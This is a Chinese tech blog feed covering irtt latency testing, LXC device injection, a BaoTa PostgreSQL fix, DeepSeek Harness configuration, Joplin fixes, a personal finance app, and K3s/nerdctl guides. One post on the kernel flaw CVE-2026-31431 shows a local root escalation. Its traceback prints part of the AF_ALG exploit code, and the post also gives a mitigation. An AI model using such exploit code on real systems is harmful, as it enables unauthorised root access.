专业的网络延迟波动检测工具 irtt

irtt 专门测长期延迟稳定性和抖动,按固定间隔发包(如每 10ms 一个),统计 RTT、单向延迟、IPDV(抖动)和丢包。它比 ping 精确得多,很适合跑几小时甚至几天的稳定性测试。

相比于传统的 ICMP (Ping) 测试,IRTT 采用 UDP 能够更真实地模拟 VoIP、在线游戏等实时业务的流量,并能同时测量出双向丢包、单向延迟 (OWD) 以及抖动 (IPDV) 等深度指标。

irtt server
irtt client -i 10ms -d 1h -l 64 
<server_ip> -o result.json

在 alpine 下安装:

echo "@edgecommunity http://mirrors.ustc.edu.cn/alpine/edge/community" >> /etc/apk/repositories
apk update
apk add irtt@edgecommunity

其他系统按需安装。

也可以这样纯静态交叉编译后放到目标机器中使用:

$ git clone https://github.com/heistp/irtt.git
$ cd irtt
$ CGO_ENABLED=0 GOOS=linux GOARCH=arm64 go build -ldflags="-s -w -extldflags '-static'" -o irtt_linux_arm64 ./cmd/irtt

效果:

seq=1213 rtt=270µs rd=1.9s sd=-1.9s ipdv=71.5µs
seq=1214 rtt=254µs rd=1.9s sd=-1.9s ipdv=15.3µs
seq=1215 rtt=283µs rd=1.9s sd=-1.9s ipdv=28.3µs
interrupt
                        Min    Mean  Median     Max  Stddev
                        ---    ----  ------     ---  ------
                RTT   171µs   280µs   273µs  3.74ms   111µs
         send delay   -1.9s   -1.9s   -1.9s   -1.9s   105µs
      receive delay    1.9s    1.9s    1.9s    1.9s  18.9µs

      IPDV (jitter)   180ns  49.2µs    33µs  3.52ms   147µs
          send IPDV    63ns  41.1µs  26.4µs  3.45ms   143µs
       receive IPDV    30ns  18.2µs  13.8µs   158µs  17.7µs

     send call time  10.5µs  20.5µs           127µs  9.05µs
        timer error    76ns   258µs           925µs   159µs
  server proc. time  2.95µs  6.57µs          53.8µs  2.55µs

                duration: 12.2s (wait 0s)
   packets sent/received: 1217/1216 (0.08% loss)
 server packets received: 1216/1217 (0.08%/0.00% loss up/down)
     bytes sent/received: 77888/77824
       send/receive rate: 51.2 Kbps / 51.2 Kbps
             timer stats: 2/1219 (0.16%) missed, 2.58% error

LXC 热载入设备文件

下面以向运行中的 LXC 容器注入 /dev/vhost-net 为例讲解。

有两种思路:临时注入(容器重启后失效)和永久配置(写入配置)。有时无法重启 lxc 容器,希望配置生效,就可以用临时注入热载入,在写入配置,这样现在就可以用,下次重启后载入配置就不用热载入了。下面介绍方法:

临时注入

(容器运行中,立即生效)

步骤 1:在宿主机上确认设备号

ls -l /dev/vhost-net
# crw-rw-rw- 1 root kvm 10, 238 ... /dev/vhost-net

主设备号通常是 10,次设备号常见为 238(以你机器输出为准)。

如果没有该设备,先加载模块:

modprobe vhost_net

步骤 2:在容器的 devices cgroup 中放行该设备

cgroup v1:

lxc-cgroup -n <容器名> devices.allow "c 10:238 rwm"

cgroup v2(现代发行版默认)没有 devices.allow 文件,设备控制基于 eBPF,lxc-cgroup 一般无法这样动态修改。此时建议改用下面的”永久配置 + 重启”。

步骤 3:在容器内创建设备节点

lxc-attach -n <容器名> -- mknod -m 666 /dev/vhost-net c 10 238

或直接去容器里执行后面的命令即可。

注意:如果是非特权容器,容器内 mknod 通常会被拒绝(用户命名空间中没有 CAP_MKNOD),此时需要用 bind mount 方式或永久配置。

替代:直接 bind mount 设备文件(不需要 mknod)

# 找到容器的 rootfs 路径后,在宿主机上创建目标文件并 bind mount
touch /var/lib/lxc/<容器名>/rootfs/dev/vhost-net
mount --bind /dev/vhost-net /var/lib/lxc/<容器名>/rootfs/dev/vhost-net

(还需要 cgroup 放行,否则容器里访问会得到 Operation not permitted。)

永久配置

编辑 /var/lib/lxc/<容器名>/config(或 ~/.local/share/lxc/...):

# cgroup v1
lxc.cgroup.devices.allow = c 10:238 rwm

# cgroup v2
lxc.cgroup2.devices.allow = c 10:238 rwm

# 自动挂载设备节点
lxc.mount.entry = /dev/vhost-net dev/vhost-net none bind,create=file 0 0

然后重启容器。

解决宝塔安装 PG 失败的问题

在宝塔面板安装 PostgreSQL 时遇到 pgsql_install.sh: 83: Syntax error: Bad fd number 错误,排查发现是我使用的系统 (Debian13) 默认的 /bin/sh 链接到了 dash(常见于 Ubuntu/Debian 系统),而安装脚本中使用了部分 dash 不支持的语法或重定向符号。

错误日志类似下面这样:

pgsql_install.sh: 83: Syntax error: Bad fd number

检索了一下,官方论坛在很早就出现了这个问题,但至今没有很好的解决,因此将解决方案在这里记录一下。

解决方法

可以通过将系统的默认 /bin/sh 临时或永久更改指向 bash 来解决该问题。 

步骤 1:检查当前的 sh 指向 

在终端执行以下命令:

ls -l /bin/sh

如果输出显示指向 dash(例如 /bin/sh -> dash),说明确实是这个原因。 

步骤 2:将 sh 更改为 bash 

执行下面命令将 /bin/sh 重新定向到 /bin/bash:

sudo mv /bin/sh /bin/sh.bk
sudo ln -s /bin/bash /bin/sh

步骤 3:重新在宝塔面板中安装 

更改完成后,回到宝塔面板,重新卸载并再次尝试安装 PostgreSQL 插件及数据库。 

在 DSH 手动启用 OpenCode Go DeepSeek v4.1 新模型

最近在使用 DeepSeek Harness 时,对接 DeepSeek 官方模型,奈何消耗过高,一会儿就几块钱出去了,于是打算对接 opencode go 订阅,但是发现对接时 dsh 一方面没有 dsv4.1 模型,一方面是对接直接报错。

考虑到这个问题应该会很快被解决,但是由于需要立刻用上,就简单整理一下解决方案,出现同样的问题的朋友可以参考一下。

背景

DSH 不维护模型清单,opencode-go 的模型来自上游 @earendil-works/pi-ai 的静态目录。该目录滞后于 OpenCode 实际提供的模型,需要在 ~/.dsh/settings.yaml 手工补充。

但是直接加也不行,会有几个约束:

约束

  1. 不能往内置 opencode-go 路由里直接加模型。 单个 model 条目只接受 name/contextWindow/maxTokens/input/reasoningEfforts/compat,api 和 baseURL 是路由级字段。而 opencode-go 是混合协议路由(27 个模型分属 3 种 wire protocol),新模型无处继承 api,直接加会报:

    model "xxx" needs an api; the installed catalog does not describe it

    在路由级写 api 又会把全部 27 个模型强制成同一协议。解法是新开一条单协议路由。

  2. OpenCode Go 自 2026-09-05 起要求 x-opencode-session 请求头,pi-ai 不发送该头,否则报 400 MissingSessionID。见 discussions#5495。

配置方法

编辑 ~/.dsh/settings.yaml:

注,这里面的随机串记得替换

llm-pi-ai:
  providers:
    opencode-go:
      apiKeyEnv: OPENCODE_GO_API_KEY
    opencode-go-v41:
      displayName: OpenCode Go (V4.1)
      apiKeyEnv: OPENCODE_GO_API_KEY
      api: openai-completions
      baseURL: https://opencode.ai/zen/go/v1
      headers:
        x-opencode-session: dsh-local-<随机串>
      models:
        - id: deepseek-v4.1-flash
          name: DeepSeek V4.1 Flash
          contextWindow: 1000000
          maxTokens: 384000
          input: [ text, image ]
          reasoningEfforts: { low: low, high: high, max: max }
          compat:
            supportsStore: false
            supportsDeveloperRole: false
            maxTokensField: max_tokens
            requiresReasoningContentOnAssistantMessages: true
            thinkingFormat: deepseek

agent-default-model:
  provider: opencode-go-v41
  model: deepseek-v4.1-flash
  reasoningEffort: high

注意:

  • 路由必须放在 providers 字典下,键名即路由名,不要写错层级了。
  • 两条路由共用同一个 apiKeyEnv,无需重复配置凭据。
  • 改动下次请求生效,不必重启。

设定后在GUI 模型选择器中会出现 OpenCode Go (V4.1) 分组。

最后就可以正常调用了:

DeepSeek Harness with opencode go ds v4.1

关于 x-opencode-session 的说明

上面用的是静态值,所有会话共用一个 id。能解除 400,但服务端会认为所有对话是同一段,prompt 缓存会失效(该模型缓存读取 $0.003 vs 输入 $0.15,长对话差异明显)。

更好的替代:社区插件 dsh-opencode-session 复用 DSH 会话 id,每会话唯一且跨轮次稳定。

dsh plugin --profile web add dsh-opencode-session

装后删掉配置里的 headers 段。需完全重启 dsh。该插件会 patch 全局 fetch,安装前建议先审查源码。

官方修复进展见 discussions#5495;届时两种 workaround 都可退役。

解决 Linux Wayland 环境下 Joplin 使用 fcitx5 中文输入漏字问题

在 Linux + Wayland 环境下使用 Joplin 时,如果配合 fcitx5 输入中文,可能会遇到输入漏字的问题。

下面这份配置可作为参考:

➜  Downloads cat /usr/share/applications/joplin-desktop.desktop
[Desktop Entry]
Name=Joplin
Comment=Joplin for Desktop
-Exec=/usr/bin/joplin-desktop --gtk-version=3 --ozone-platform=x11
+Exec=/usr/bin/joplin-desktop --gtk-version=3 --ozone-platform-hint=auto --enable-wayland-ime
Terminal=false
Icon=joplin-desktop
StartupWMClass=@joplin/app-desktop
Type=Application
Categories=Office;
MimeType=x-scheme-handler/joplin;
SingleMainWindow=true

使用 --ozone-platform=x11 可以解决 Joplin 全局菜单不显示的问题,但中文输入时可能会出现漏字。

改用 --ozone-platform-hint=auto --enable-wayland-ime 后,可以解决 fcitx5 中文输入漏字的问题;不过相应地,Joplin 全局菜单可能又无法正常显示。

实测二者不可两全,暂无找到很好的方法。建议先采用第一行配置,显示出来菜单做好配置后,改用第二行配置,确保后期中文输入体现。

输入漏字真的很恼火,如有两全解决方案欢迎讨论。

Refs

修复 Joplin on KDE 菜单栏显示问题

在 KDE 桌面下默认使用全局菜单显示应用程序的菜单栏,但是唯独 Joplin 无法显示。

最后在这里找到了解决方案,下面简单记录:

sudo vim /usr/share/applications/joplin-desktop.desktop 
--Exec=/usr/bin/joplin-desktop
++Exec=/usr/bin/joplin-desktop --gtk-version=3 --ozone-platform=x11

启动程序增加这两个参数即可解决。

Refs

我的博客即将同步至腾讯云开发者社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=21yjpwt8mhhc0

极简但强大的个人财务管理软件 —— 溪流记账(Rivulet)

从开始工作,就一直想开发一款面向个人的财务管理软件,用来直观的分析自己的财务状况,对个人财务情况提供直观的反馈,帮助自己更好的存钱、消费和投资。获取正向反馈,激励自己更好的存钱。

此前,基于 Notion 制作过一套个人财务管理模版,取名 BJ-PFD , 是一长串英文的缩写:Bullet Journal – Personal Finance Dashboard,意为子弹笔记个人财务仪表盘。之前写过一系列的 文章 介绍这套模版。这套模版我个人也一直在用,从2020年到2026年,已经使用了6年了,积累了大量的财务数据,帮助我更好的分析和管理个人财务状况。数据条数也增加到好几千条。此时我发现 Notion 的一些弊端暴露出来了。比如,数据库数量大了以后,加载会比较慢,而且一些数据关联会有极小概率出现问题,导致最终的数据统计出现细微的差错。更重要的一个问题,随着我数据的变多,基于 Notion API 开发的看板工具,启动速度越来越慢了,每次统计数据都要花费数分钟来加载数据。

最近,结合自己之前的工作流和数据模型,使用 AI 辅助编程开发了这款软件。经过一段时间的调试和打磨,这款软件已经能够完美承载我个人目前的财务管理需求,我也将 Notion 中的数千条数据,顺利导入这款新的软件中,数据统计速度从1分钟以上,提升到了1秒以内。现在我已经完全迁移到这款软件上了,使用体验非常好。现在,我希望将这款软件发布出来,分享给更多有需要的人使用。

下面是关于这款软件的介绍:

Rivulet 简介

溪流记账(Rivulet)是一款极简但强大的个人财务管理软件,支持快速记录收支、多账户、多账本与共享账本;提供预算管理、投资记录与财务分析。

Rivulet 使用 GO 和 Svelte 开发,使用 Docker 封装并公开发布,支持 SQLite 和 PostgreSQL 数据库。

更多信息,可以进入 Rivulet 的 官网 或 GitHub Docs仓库 查看,如果有问题可以直接在 留言板 或是 GitHub Docs 仓库的 Issues/Discussions 提出。

Rivulet 功能介绍

  • 支持灵活的流水管理功能,区分支出、收入和转账,并支持灵活的分类,可以方便的进行流水统计;
  • 支持财务规划功能,在财务规划界面可以方便的进行每月收入、支出的预算规划,并查看实时的预算执行情况;
  • 支持投资管理,提供方便的投资买入、卖出、分红记录,投资记录自动生成流水记录,并提供投资盈亏分析;
  • 支持账户管理,方便关联自己实际的各个账户;
  • 支持多账本,账本间的流水互相隔离,适合不同的使用场景,比如个人账本、家庭账本、公司账本等;支持账本共享。
  • 更多功能陆续开发中。

Rivulet 截图

Rivulet dashboard 2026 05 07 22 29 38 Rivulet transactions 2026 05 07 22 29 51 Rivulet budgets 2026 05 07 22 35 12 Rivulet investments 2026 05 07 22 35 26 Rivulet ledgers 2026 05 07 22 35 37 Rivulet accounts 2026 05 07 22 35 45 Rivulet settings 2026 05 07 22 36 01

最后,欢迎大家试用这款软件,如果有任何疑问随时与我交流,也欢迎大家提出宝贵的意见和建议,帮助我一起把这款软件做得更好。

Refs

Copy Fail:Linux 内核 2017 年至今的高危漏洞(附临时缓解方案) | CVE-2026-31431

最近爆出一个 Linux 内核存在近10年的漏洞,随便找了一台最近在用的机器试了一下,直接成功提权:

~$ whoami
songtianlun
~$ python3 test.py 
# whoami
root

临时解决方案如下:

由于 SSH/OpenSSL 等安全基建库几乎都在使用自行维护的用户态加密库, 所以 AF_ALG 可以直接禁用, 为临时缓解措施 (仅供参考):

rmmod algif_aead 2>/dev/null || true
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf

再尝试就不行了:

~$ python3 test.py Traceback (most recent call last):
  File "/home/songtianlun/test.py", line 9, in 
<module>
    while i<len(e):c(f,i,e[i:i+4]);i+=4
  File "/home/songtianlun/test.py", line 5, in c
    a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
FileNotFoundError: [Errno 2] No such file or directory

影响面甚广,赶快检查一下自己的服务器。

Refs

Hermes Agent — 在 K3s / K8s 中运行指南

本文基于官方 Docker 文档,将 Hermes Agent 迁移到 Kubernetes / K3s 环境,使用 StatefulSet 管理持久化工作负载。

1. 前置准备

  • K3s 或 K8s 集群已就绪(本文以 K3s 为例)
  • 节点上已有 containerd(K3s 默认内置)
  • 推荐安装 nerdctl 作为容器管理工具(参考:在 K3s 节点上安装并使用 nerdctl)
  • 镜像:nousresearch/hermes-agent:latest

2. 初始化配置(持久化数据目录)

在首次运行前,需要先执行一次 Setup Wizard,将 API Keys 等配置写入宿主机目录,再挂载进容器使用。

这里建议使用 nerdctl 运行,其他的方法需自行探索。

# 在目标节点上创建数据目录
mkdir -p /var/lib/hermes-data

# 使用 nerdctl 运行一次性 setup 容器(交互模式)
sudo nerdctl run -it --rm \
  -v /var/lib/hermes-data:/opt/data \
  nousresearch/hermes-agent:latest setup

配置完成后的数据目录结构

/var/lib/hermes-data/
├── .env            # API Keys 与密钥
├── config.yaml     # 主配置文件
├── SOUL.md         # Agent 人格 / 身份设定
├── sessions/       # 会话历史
├── memories/       # 持久记忆
├── skills/         # 已安装的技能
├── cron/           # 定时任务定义
├── hooks/          # 事件钩子
├── logs/           # 运行日志
└── skins/          # 自定义 CLI 皮肤

3. 部署 Gateway 后台服务(StatefulSet)

这里直接给出参考 yaml,按需调整:

---
apiVersion: v1
kind: Service
metadata:
  name: gateway
  namespace: hermes
spec:
  selector:
    app: gateway
  ports:
    - name: api
      port: 8642
      targetPort: 8642
  type: ClusterIP
---
kind: PersistentVolumeClaim
apiVersion: v1
metadata:
  name: data
  namespace: hermes
spec:
  accessModes:
    - ReadWriteMany
  resources:
    requests:
      storage: 50Gi
  storageClassName: nfs-hhus3
---
apiVersion: apps/v1
kind: StatefulSet
metadata:
  name: gateway
  namespace: hermes
spec:
  serviceName: gateway
  replicas: 1
  selector:
    matchLabels:
      app: gateway
  template:
    metadata:
      labels:
        app: gateway
    spec:
      nodeSelector:
        hosthatch/zone: lax
      containers:
        - name: gateway
          image: nousresearch/hermes-agent:latest
          args: ["gateway", "run"]
          ports:
            - containerPort: 8642
          env:
            - name: TZ
              value: "Asia/Shanghai"
          volumeMounts:
            - name: hermes-data
              mountPath: /opt/data
          resources:
            requests:
              memory: "1Gi"
              cpu: "500m"
            limits:
              memory: "4Gi"
              cpu: "2"
      volumes:
        - name: hermes-data
          persistentVolumeClaim:
            claimName: data

4. 部署 Dashboard 仪表盘(StatefulSet)

直接给出参考 yaml,按需调整:

apiVersion: v1
kind: Service
metadata:
  name: dashboard
  namespace: hermes
spec:
  selector:
    app: dashboard
  ports:
    - name: web
      port: 9119
      targetPort: 9119
  type: ClusterIP   # 按需改为 NodePort / LoadBalancer
---
apiVersion: apps/v1
kind: StatefulSet
metadata:
  name: dashboard
  namespace: hermes
spec:
  serviceName: dashboard
  replicas: 1
  selector:
    matchLabels:
      app: dashboard
  template:
    metadata:
      labels:
        app: dashboard
    spec:
      nodeSelector:
        hosthatch/zone: lax
      containers:
        - name: dashboard
          image: nousresearch/hermes-agent:latest
          args: ["dashboard"]
          #args: ["dashboard", "--host", "0.0.0.0", "--insecure"]
          ports:
            - containerPort: 9119
          env:
            # 指向 Gateway Service 的 ClusterIP DNS 名称
            - name: GATEWAY_HEALTH_URL
              value: "http://gateway.hermes.svc.cluster.local:8642"
            - name: GATEWAY_HEALTH_TIMEOUT
              value: "3"
          volumeMounts:
            - name: hermes-data
              mountPath: /opt/data
              readOnly: true    # Dashboard 只读数据目录
          resources:
            requests:
              memory: "256Mi"
              cpu: "100m"
            limits:
              memory: "512Mi"
              cpu: "500m"

      volumes:
        - name: hermes-data
          persistentVolumeClaim:
            claimName: data

可以使用 port-forward 安全的访问仪表盘,不建议对外暴露:

kubectl port-forward -n hermes svc/hermes-dashboard 9119:9119
# 浏览器访问 http://localhost:9119

5. 运行交互式 CLI 聊天

在已部署并配置好的数据目录基础上,可随时进行交互式聊天,使用 kubectl exec 进入 Gateway 容器

kubectl exec -it -n hermes gateway-0 -- /opt/hermes/.venv/bin/hermes

Refs

在 K3s 节点上安装并使用 nerdctl

适用场景:K3s 默认不附带 nerdctl,但其内置的 containerd 与 nerdctl 完全兼容。本教程讲解如何在 K3s 节点上以最小代价安装 nerdctl,并正确指向 K3s 的 containerd socket,无需重复安装 containerd 或 CNI。

一、背景与原理

工具 说明
ctr containerd 内置调试工具,与 Docker CLI 不兼容,功能有限
crictl CRI 调试工具,K3s 自带,面向 Kubernetes 运维
nerdctl Docker 兼容 CLI,支持 run/build/compose,推荐日常使用

K3s 的 containerd socket 路径为 /run/k3s/containerd/containerd.sock,而非标准路径 /run/containerd/containerd.sock。只需在配置中指向该路径,nerdctl 即可接管 K3s 容器管理。

K3s 已自带 CNI 插件(flannel/calico 等),查看 K3s 节点已有的 Pod 和镜像无需额外 CNI。若需要 nerdctl run 启动独立容器并连接网络,则需要补充安装 CNI 插件(见第四节)。

二、安装 nerdctl(仅二进制)

K3s 节点已有 containerd,只需下载 nerdctl 的精简包(不含 containerd/CNI,体积小)。

2.1 下载二进制

# 查询最新版本(或手动前往 https://github.com/containerd/nerdctl/releases 查看)
NERDCTL_VERSION=$(curl -s https://api.github.com/repos/containerd/nerdctl/releases/latest \
  | grep tag_name | cut -d '"' -f4 | tr -d 'v')

echo "最新版本: ${NERDCTL_VERSION}"

# 下载精简包(仅 nerdctl 二进制)
curl -LO "https://github.com/containerd/nerdctl/releases/download/v${NERDCTL_VERSION}/nerdctl-${NERDCTL_VERSION}-linux-amd64.tar.gz"

ARM64 节点(如树莓派、ARM 服务器)将 amd64 替换为 arm64:

curl -LO "https://github.com/containerd/nerdctl/releases/download/v${NERDCTL_VERSION}/nerdctl-${NERDCTL_VERSION}-linux-arm64.tar.gz"

2.2 解压并安装

# 解压到 /usr/local/bin
sudo tar Cxzvf /usr/local/bin nerdctl-${NERDCTL_VERSION}-linux-amd64.tar.gz nerdctl

# 验证安装
nerdctl --version

三、配置 nerdctl 指向 K3s containerd

nerdctl 默认连接 /run/containerd/containerd.sock,在 K3s 节点上需要修改为 K3s 专用路径。

3.1 创建配置文件

sudo mkdir -p /etc/nerdctl

sudo tee /etc/nerdctl/nerdctl.toml > /dev/null <<EOF
# nerdctl 全局配置,适配 K3s 节点
address        = "/run/k3s/containerd/containerd.sock"
namespace      = "k8s.io"
EOF

说明:

  • address:K3s containerd 的 socket 路径
  • namespace:K3s 所有容器和镜像均存储在 k8s.io 命名空间下

3.2 验证连接

# 列出 K3s 命名空间下的所有容器(等同于 kubectl get pods 的容器视角)
sudo nerdctl ps -a

# 列出镜像
sudo nerdctl images

如果能看到 K3s 系统 Pod(如 coredns、traefik 等),说明配置成功。

四、安装 CNI 插件(按需,用于 nerdctl run)

如果只需要查看 K3s 已有容器和镜像,可跳过此节。

只有当你需要用 nerdctl run 启动独立容器(即非 Kubernetes 管理的容器)时,才需要 CNI 插件。K3s 自带的 CNI 仅供 Kubernetes 使用,nerdctl 的独立容器网络需要单独配置。

4.1 下载官方 CNI 插件

CNI_VERSION=$(curl -s https://api.github.com/repos/containernetworking/plugins/releases/latest \
  | grep tag_name | cut -d '"' -f4)

curl -LO "https://github.com/containernetworking/plugins/releases/download/${CNI_VERSION}/cni-plugins-linux-amd64-${CNI_VERSION}.tgz"

# 安装到标准路径
sudo mkdir -p /opt/cni/bin
sudo tar Cxzvf /opt/cni/bin cni-plugins-linux-amd64-${CNI_VERSION}.tgz

4.2 创建默认网络配置

sudo mkdir -p /etc/cni/net.d

sudo tee /etc/cni/net.d/10-nerdctl-bridge.conflist > /dev/null <<EOF
{
  "cniVersion": "1.0.0",
  "name": "nerdctl-bridge",
  "plugins": [
    {
      "type": "bridge",
      "bridge": "nerdctl0",
      "isGateway": true,
      "ipMasq": true,
      "ipam": {
        "type": "host-local",
        "ranges": [
          [{"subnet": "10.88.0.0/16"}]
        ],
        "routes": [{"dst": "0.0.0.0/0"}]
      }
    },
    {
      "type": "portmap",
      "capabilities": {"portMappings": true}
    },
    {
      "type": "firewall"
    }
  ]
}
EOF

注意:此桥接网络(10.88.0.0/16)仅供 nerdctl 管理的独立容器使用,不会影响 K3s 自身网络。

4.3 验证独立容器运行

# 注意:启动独立容器时需使用默认命名空间(不加 --namespace k8s.io)
# 或在 nerdctl.toml 中临时切换,推荐直接在命令行覆盖:
sudo nerdctl --namespace default run -d --name test-nginx -p 8080:80 nginx:alpine

# 确认运行
sudo nerdctl --namespace default ps
curl http://localhost:8080

五、常用命令速查

所有命令均需 sudo(或将当前用户加入 containerd 相关权限组)。

查看 K3s 容器和镜像

# 列出所有容器(K3s 管理)
sudo nerdctl ps -a

# 列出镜像
sudo nerdctl images

# 查看容器日志
sudo nerdctl logs <容器ID或名称>

# 进入容器终端
sudo nerdctl exec -it <容器ID或名称> sh

镜像管理

# 拉取镜像(拉取后可直接被 K3s Pod 使用)
sudo nerdctl pull nginx:alpine

# 查看镜像详情
sudo nerdctl inspect <镜像ID>

# 删除镜像
sudo nerdctl rmi <镜像ID>

# 从 tar 包导入镜像(常用于离线环境)
sudo nerdctl load < image.tar

# 导出镜像为 tar 包
sudo nerdctl save nginx:alpine -o nginx.tar

构建镜像(需安装 BuildKit,见第六节)

sudo nerdctl build -t myapp:v1 /path/to/dockerfile-dir

配合 kubectl 使用本地镜像

# 构建并打 tag 到 k8s.io 命名空间
sudo nerdctl --namespace k8s.io build -t myapp:local .

# 然后在 Pod spec 中指定 imagePullPolicy: Never 即可使用本地镜像
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: myapp
spec:
  containers:
  - name: myapp
    image: myapp:local
    imagePullPolicy: Never
EOF

六、可选:安装 BuildKit(支持 nerdctl build)

nerdctl 构建镜像需要 BuildKit daemon。

BUILDKIT_VERSION=$(curl -s https://api.github.com/repos/moby/buildkit/releases/latest \
  | grep tag_name | cut -d '"' -f4)

curl -LO "https://github.com/moby/buildkit/releases/download/${BUILDKIT_VERSION}/buildkit-${BUILDKIT_VERSION}.linux-amd64.tar.gz"

sudo tar Cxzvf /usr/local buildkit-${BUILDKIT_VERSION}.linux-amd64.tar.gz

# 创建 systemd 服务
sudo tee /etc/systemd/system/buildkit.service > /dev/null <<EOF
[Unit]
Description=BuildKit
After=network.target containerd.service

[Service]
ExecStart=/usr/local/bin/buildkitd \
  --addr unix:///run/buildkit/buildkitd.sock \
  --containerd-worker-addr /run/k3s/containerd/containerd.sock
Restart=always

[Install]
WantedBy=multi-user.target
EOF

sudo systemctl daemon-reload
sudo systemctl enable --now buildkit

Refs